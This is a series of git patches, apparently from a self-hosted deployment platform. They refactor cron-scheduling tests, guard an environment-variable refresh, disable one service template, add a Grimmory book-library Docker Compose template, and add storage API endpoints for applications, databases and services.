Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // No dedup key → simple isDue check
- $result = $method->invoke($job, '0 2 * * *', 'UTC');
- expect($result)->toBeTrue();
-
- // At 02:01 without dedup key → isDue returns false
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
-
- $result2 = $method->invoke($job, '0 2 * * *', 'UTC');
- expect($result2)->toBeFalse();
+ expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
});
it('catches delayed docker cleanup when job runs past the cron minute', function () {
- // Simulate a previous dispatch at :10
Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
- // Freeze time at :22 — job was delayed 2 minutes past the :20 cron window
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// isDue() would return false at :22, but getPreviousRunDate() = :20
// lastDispatched = :10 → :20 > :10 → fires
- $result = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:42');
+ $result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
expect($result)->toBeTrue();
});
it('does not double-dispatch docker cleanup within same cron window', function () {
- // First dispatch at :10
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $first = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99');
+ $first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
expect($first)->toBeTrue();
- // Second run at :11 — should NOT dispatch (previousDue=:10, lastDispatched=:10)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $second = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99');
+ $second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
expect($second)->toBeFalse();
});
+it('seeds cache with previousDue when not due on first run', function () {
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
+ expect($result)->toBeFalse();
+
+ // Verify cache was seeded with previousDue (02:00 today)
+ $cached = Cache::get('test-seed:1');
+ expect($cached)->not->toBeNull();
+ expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
+});
+
+it('catches next occurrence after cache was seeded on non-due first run', function () {
+ // Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
+
+ // Step 2: Next day at 02:03 — delayed 3 minutes past cron.
+ // previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
+});
+
+it('cache survives 29 days with static 30-day TTL', function () {
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
+ expect(Cache::get('test-ttl:static'))->not->toBeNull();
+
+ // 29 days later — cache (30-day TTL) should still exist
+ Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
+ expect(Cache::get('test-ttl:static'))->not->toBeNull();
+});
+
it('respects server timezone for cron evaluation', function () {
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
- // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
- // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
- $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
- expect($resultSingapore)->toBeTrue();
+ // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
+ expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
- // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
- $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
- expect($resultUtc)->toBeFalse();
+ // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
+ expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
+});
+
+it('passes explicit execution time instead of using Carbon::now()', function () {
+ // Real "now" is irrelevant — we pass an explicit execution time
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
+
+ $executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
+
+ expect($result)->toBeTrue();
});
diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php
index 518f05c9c..2743a8650 100644
--- a/tests/Feature/ServerManagerJobShouldRunNowTest.php
+++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php
@@ -1,6 +1,5 @@
toIso8601String(), 86400);
// Job runs 3 minutes late at 00:03
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
- $job = new ServerManagerJob;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
// lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
- $result = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:1');
+ $result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
expect($result)->toBeTrue();
});
it('catches delayed weekly patch check when job runs past the cron minute', function () {
- // Simulate previous dispatch last Sunday at midnight
Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
- // This Sunday at 00:02 — job was delayed 2 minutes
- // 2026-03-01 is a Sunday
+ // This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
- $job = new ServerManagerJob;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $result = $method->invoke($job, '0 0 * * 0', 'UTC', 'server-patch-check:1');
+ $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
expect($result)->toBeTrue();
});
it('catches delayed storage check when job runs past the cron minute', function () {
- // Simulate previous dispatch yesterday at 23:00
Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
- // Today at 23:04 — job was delayed 4 minutes
Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
- $job = new ServerManagerJob;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $result = $method->invoke($job, '0 23 * * *', 'UTC', 'server-storage-check:5');
+ $result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
expect($result)->toBeTrue();
});
+it('seeds cache on non-due first run so weekly catch-up works', function () {
+ // Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
+ Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
+ expect($result)->toBeFalse();
+
+ // Verify cache was seeded
+ expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
+
+ // Next Sunday at 00:02 — delayed 2 minutes past cron
+ // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
+
+ $result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
+ expect($result2)->toBeTrue();
+});
+
+it('daily cron fires after cache seed even when delayed past the minute', function () {
+ // Step 1: 15:00 — not due for midnight cron, but seeds cache
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
+
+ $result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
+ expect($result1)->toBeFalse();
+
+ // Step 2: Next day at 00:05 — delayed 5 minutes past midnight
+ // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
+
+ $result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
+ expect($result2)->toBeTrue();
+});
+
it('does not double-dispatch within same cron window', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
- $job = new ServerManagerJob;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $first = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10');
+ $first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
expect($first)->toBeTrue();
// Next minute — should NOT dispatch again
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $second = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10');
+ $second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
expect($second)->toBeFalse();
});
From 3d5fee4d36510a0f7133905a99d3fab0d2b90004 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 10:52:59 +0100
Subject: [PATCH 036/168] fix(environment-variable): guard refresh against
missing or stale variables
Add early return in refresh() to skip sync operations if the environment variable no longer exists or is not fresh, preventing errors when refreshing stale or deleted variables.
---
app/Livewire/Project/Shared/EnvironmentVariable/Show.php | 3 +++
1 file changed, 3 insertions(+)
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
index 2a18be13c..c567d96aa 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
@@ -98,6 +98,9 @@ public function getResourceProperty()
public function refresh()
{
+ if (! $this->env->exists || ! $this->env->fresh()) {
+ return;
+ }
$this->syncData();
$this->checkEnvs();
}
From 23b52487c4092bfc875a08d5d3a38610690560c3 Mon Sep 17 00:00:00 2001
From: Claude
Date: Mon, 23 Mar 2026 09:53:07 +0000
Subject: [PATCH 037/168] Disable booklore service template
Add `# ignore: true` to the booklore compose file so the service
template generator skips it, hiding it from the UI.
https://claude.ai/code/session_01Y7ZeGwqPp97oXwyLCPja9k
---
templates/compose/booklore.yaml | 1 +
1 file changed, 1 insertion(+)
diff --git a/templates/compose/booklore.yaml b/templates/compose/booklore.yaml
index fddde8de0..a26e52932 100644
--- a/templates/compose/booklore.yaml
+++ b/templates/compose/booklore.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://booklore.org/docs/getting-started
# slogan: Booklore is an open-source library management system for your digital book collection.
# tags: media, books, kobo, epub, ebook, KOreader
From 9c0bc042ff699a811e99759e430d5ebc22390216 Mon Sep 17 00:00:00 2001
From: Ricky Wanga
Date: Mon, 23 Mar 2026 12:55:25 +0100
Subject: [PATCH 038/168] feat: add grimmory service and database configuration
to compose template
---
public/svgs/grimmory.svg | 4 +++
templates/compose/grimmory.yaml | 49 +++++++++++++++++++++++++++++++++
2 files changed, 53 insertions(+)
create mode 100644 public/svgs/grimmory.svg
create mode 100644 templates/compose/grimmory.yaml
diff --git a/public/svgs/grimmory.svg b/public/svgs/grimmory.svg
new file mode 100644
index 000000000..cd8230fa2
--- /dev/null
+++ b/public/svgs/grimmory.svg
@@ -0,0 +1,4 @@
+
+
+
+
diff --git a/templates/compose/grimmory.yaml b/templates/compose/grimmory.yaml
new file mode 100644
index 000000000..aae7c785e
--- /dev/null
+++ b/templates/compose/grimmory.yaml
@@ -0,0 +1,49 @@
+# documentation: https://github.com/grimmory-tools/grimmory
+# slogan: Grimmory is a self-hosted application for managing your entire book collection in one place. Organize, read, annotate, sync across devices, and share without relying on third-party services.
+# tags: books,ebooks,library,reader
+# logo: svgs/grimmory.svg
+# port: 80
+
+services:
+ grimmory:
+ image: 'grimmory/grimmory:latest'
+ environment:
+ - SERVICE_URL_GRIMMORY_80
+ - 'USER_ID=${GRIMMORY_USER_ID:-0}'
+ - 'GROUP_ID=${GRIMMORY_GROUP_ID:-0}'
+ - 'TZ=${TZ:-UTC}'
+ - 'DATABASE_URL=jdbc:mariadb://mariadb:3306/${MARIADB_DATABASE:-grimmory-db}'
+ - 'DATABASE_USERNAME=${SERVICE_USER_MARIADB}'
+ - 'DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB}'
+ - BOOKLORE_PORT=80
+ volumes:
+ - 'grimmory-data:/app/data'
+ - 'grimmory-books:/books'
+ - 'grimmory-bookdrop:/bookdrop'
+ healthcheck:
+ test: 'wget --no-verbose --tries=1 --spider http://localhost/login || exit 1'
+ interval: 10s
+ timeout: 5s
+ retries: 10
+ depends_on:
+ mariadb:
+ condition: service_healthy
+
+ mariadb:
+ image: 'mariadb:12'
+ environment:
+ - 'MARIADB_USER=${SERVICE_USER_MARIADB}'
+ - 'MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB}'
+ - 'MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_MARIADBROOT}'
+ - 'MARIADB_DATABASE=${MARIADB_DATABASE:-grimmory-db}'
+ volumes:
+ - 'mariadb-data:/var/lib/mysql'
+ healthcheck:
+ test:
+ - CMD
+ - healthcheck.sh
+ - '--connect'
+ - '--innodb_initialized'
+ interval: 10s
+ timeout: 5s
+ retries: 10
\ No newline at end of file
From ae33447994001d4d3df57150899b6596272ef6b2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 15:15:02 +0100
Subject: [PATCH 039/168] feat(storage): add storage endpoints and UUID support
for databases and services
- Add storage endpoints (list, create, update, delete) to DatabasesController
- Add storage endpoints (list, create, update, delete) to ServicesController
- Add UUID field and migration for local_persistent_volumes table
- Update LocalPersistentVolume model to extend BaseModel
- Support UUID-based storage identification in ApplicationsController
- Update OpenAPI documentation with new storage endpoints and schemas
- Fix application name generation to extract repo name from full git path
- Add comprehensive tests for storage API operations
---
.../Api/ApplicationsController.php | 281 +++++-
.../Controllers/Api/DatabasesController.php | 519 +++++++++++
.../Controllers/Api/ServicesController.php | 605 +++++++++++++
app/Models/LocalPersistentVolume.php | 3 +-
bootstrap/helpers/shared.php | 4 +-
...uuid_to_local_persistent_volumes_table.php | 39 +
openapi.json | 829 +++++++++++++++++-
openapi.yaml | 545 +++++++++++-
routes/api.php | 12 +
tests/Feature/GenerateApplicationNameTest.php | 22 +
tests/Feature/StorageApiTest.php | 379 ++++++++
11 files changed, 3224 insertions(+), 14 deletions(-)
create mode 100644 database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
create mode 100644 tests/Feature/GenerateApplicationNameTest.php
create mode 100644 tests/Feature/StorageApiTest.php
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 3444f9f14..66f6a1ef8 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -11,6 +11,8 @@
use App\Models\Application;
use App\Models\EnvironmentVariable;
use App\Models\GithubApp;
+use App\Models\LocalFileVolume;
+use App\Models\LocalPersistentVolume;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
@@ -4026,9 +4028,10 @@ public function storages(Request $request): JsonResponse
mediaType: 'application/json',
schema: new OA\Schema(
type: 'object',
- required: ['id', 'type'],
+ required: ['type'],
properties: [
- 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'],
+ 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
+ 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
@@ -4078,7 +4081,7 @@ public function update_storage(Request $request): JsonResponse
return $return;
}
- $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
+ $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
@@ -4089,7 +4092,8 @@ public function update_storage(Request $request): JsonResponse
$this->authorize('update', $application);
$validator = customApiValidator($request->all(), [
- 'id' => 'required|integer',
+ 'uuid' => 'string',
+ 'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
@@ -4098,7 +4102,7 @@ public function update_storage(Request $request): JsonResponse
'content' => 'string|nullable',
]);
- $allAllowedFields = ['id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
+ $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
if ($validator->fails() || ! empty($extraFields)) {
$errors = $validator->errors();
@@ -4114,10 +4118,23 @@ public function update_storage(Request $request): JsonResponse
], 422);
}
+ $storageUuid = $request->input('uuid');
+ $storageId = $request->input('id');
+
+ if (! $storageUuid && ! $storageId) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['uuid' => 'Either uuid or id is required.'],
+ ], 422);
+ }
+
+ $lookupField = $storageUuid ? 'uuid' : 'id';
+ $lookupValue = $storageUuid ?? $storageId;
+
if ($request->type === 'persistent') {
- $storage = $application->persistentStorages->where('id', $request->id)->first();
+ $storage = $application->persistentStorages->where($lookupField, $lookupValue)->first();
} else {
- $storage = $application->fileStorages->where('id', $request->id)->first();
+ $storage = $application->fileStorages->where($lookupField, $lookupValue)->first();
}
if (! $storage) {
@@ -4183,4 +4200,254 @@ public function update_storage(Request $request): JsonResponse
return response()->json($storage);
}
+
+ #[OA\Post(
+ summary: 'Create Storage',
+ description: 'Create a persistent storage or file storage for an application.',
+ path: '/applications/{uuid}/storages',
+ operationId: 'create-storage-by-application-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Applications'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the application.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ ],
+ requestBody: new OA\RequestBody(
+ required: true,
+ content: [
+ new OA\MediaType(
+ mediaType: 'application/json',
+ schema: new OA\Schema(
+ type: 'object',
+ required: ['type', 'mount_path'],
+ properties: [
+ 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
+ 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
+ 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
+ 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
+ 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
+ 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
+ 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
+ ],
+ additionalProperties: false,
+ ),
+ ),
+ ],
+ ),
+ responses: [
+ new OA\Response(
+ response: 201,
+ description: 'Storage created.',
+ content: new OA\JsonContent(type: 'object'),
+ ),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function create_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $return = validateIncomingRequest($request);
+ if ($return instanceof JsonResponse) {
+ return $return;
+ }
+
+ $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
+ if (! $application) {
+ return response()->json(['message' => 'Application not found.'], 404);
+ }
+
+ $this->authorize('update', $application);
+
+ $validator = customApiValidator($request->all(), [
+ 'type' => 'required|string|in:persistent,file',
+ 'name' => 'string',
+ 'mount_path' => 'required|string',
+ 'host_path' => 'string|nullable',
+ 'content' => 'string|nullable',
+ 'is_directory' => 'boolean',
+ 'fs_path' => 'string',
+ ]);
+
+ $allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
+ $extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
+ if ($validator->fails() || ! empty($extraFields)) {
+ $errors = $validator->errors();
+ if (! empty($extraFields)) {
+ foreach ($extraFields as $field) {
+ $errors->add($field, 'This field is not allowed.');
+ }
+ }
+
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => $errors,
+ ], 422);
+ }
+
+ if ($request->type === 'persistent') {
+ if (! $request->name) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['name' => 'The name field is required for persistent storages.'],
+ ], 422);
+ }
+
+ $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
+ ], 422);
+ }
+
+ $storage = LocalPersistentVolume::create([
+ 'name' => $application->uuid.'-'.$request->name,
+ 'mount_path' => $request->mount_path,
+ 'host_path' => $request->host_path,
+ 'resource_id' => $application->id,
+ 'resource_type' => $application->getMorphClass(),
+ ]);
+
+ return response()->json($storage, 201);
+ }
+
+ // File storage
+ $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
+ ], 422);
+ }
+
+ $isDirectory = $request->boolean('is_directory', false);
+
+ if ($isDirectory) {
+ if (! $request->fs_path) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
+ ], 422);
+ }
+
+ $fsPath = str($request->fs_path)->trim()->start('/')->value();
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($fsPath, 'storage source path');
+ validateShellSafePath($mountPath, 'storage destination path');
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'is_directory' => true,
+ 'resource_id' => $application->id,
+ 'resource_type' => get_class($application),
+ ]);
+ } else {
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+ $fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath;
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'content' => $request->content,
+ 'is_directory' => false,
+ 'resource_id' => $application->id,
+ 'resource_type' => get_class($application),
+ ]);
+ }
+
+ return response()->json($storage, 201);
+ }
+
+ #[OA\Delete(
+ summary: 'Delete Storage',
+ description: 'Delete a persistent storage or file storage by application UUID.',
+ path: '/applications/{uuid}/storages/{storage_uuid}',
+ operationId: 'delete-storage-by-application-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Applications'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the application.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ new OA\Parameter(
+ name: 'storage_uuid',
+ in: 'path',
+ description: 'UUID of the storage.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ ],
+ responses: [
+ new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
+ properties: [new OA\Property(property: 'message', type: 'string')],
+ )),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function delete_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
+ if (! $application) {
+ return response()->json(['message' => 'Application not found.'], 404);
+ }
+
+ $this->authorize('update', $application);
+
+ $storageUuid = $request->route('storage_uuid');
+
+ $storage = $application->persistentStorages->where('uuid', $storageUuid)->first();
+ if (! $storage) {
+ $storage = $application->fileStorages->where('uuid', $storageUuid)->first();
+ }
+
+ if (! $storage) {
+ return response()->json(['message' => 'Storage not found.'], 404);
+ }
+
+ if ($storage->shouldBeReadOnlyInUI()) {
+ return response()->json([
+ 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
+ ], 422);
+ }
+
+ if ($storage instanceof LocalFileVolume) {
+ $storage->deleteStorageOnServer();
+ }
+
+ $storage->delete();
+
+ return response()->json(['message' => 'Storage deleted.']);
+ }
}
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 6ad18d872..700055fcc 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -12,11 +12,14 @@
use App\Jobs\DatabaseBackupJob;
use App\Jobs\DeleteResourceJob;
use App\Models\EnvironmentVariable;
+use App\Models\LocalFileVolume;
+use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandalonePostgresql;
+use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use OpenApi\Attributes as OA;
@@ -3298,4 +3301,520 @@ public function delete_env_by_uuid(Request $request)
return response()->json(['message' => 'Environment variable deleted.']);
}
+
+ #[OA\Get(
+ summary: 'List Storages',
+ description: 'List all persistent storages and file storages by database UUID.',
+ path: '/databases/{uuid}/storages',
+ operationId: 'list-storages-by-database-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Databases'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the database.',
+ required: true,
+ schema: new OA\Schema(
+ type: 'string',
+ )
+ ),
+ ],
+ responses: [
+ new OA\Response(
+ response: 200,
+ description: 'All storages by database UUID.',
+ content: new OA\JsonContent(
+ properties: [
